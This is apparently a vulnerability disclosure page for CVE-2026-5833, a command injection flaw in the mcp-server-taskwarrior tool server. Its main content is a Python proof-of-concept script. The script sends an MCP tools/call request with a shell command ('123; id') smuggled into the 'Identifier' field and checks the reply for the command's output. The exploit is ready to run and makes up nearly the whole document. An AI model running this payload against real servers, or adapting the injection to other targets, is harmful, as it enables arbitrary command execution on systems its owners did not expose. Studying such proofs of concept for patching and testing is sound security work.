CVE-2026-5833 mcp-server-taskwarrior命令注入漏洞

import requests import json # PoC for CVE-2026-5833 # Description: Exploits command injection in the 'Identifier' parameter. # Target: awwaiid mcp-server-taskwarrior <= 1.0.1 def exploit(target_url): headers = {'Content-Type': 'application/json'} # The vulnerable parameter is 'Identifier'. # We inject a shell command to execute 'id' to verify exploitation. # Example payload: legitimate_id; id malicious_payload = { "method": "tools/call", "params": { "name": "taskwarrior", "arguments": { "Identifier": "123; id" } } } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, headers=headers, data=json.dumps(malicious_payload), timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) # Check if the output of 'id' command is present in the response if "uid=" in response.text or "gid=" in response.text: print("[!] Command Injection successful! System command executed.") else: print("[-] Exploit failed or output not visible in response.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual local endpoint of the MCP server target = "http://127.0.0.1:3000/mcp" exploit(target)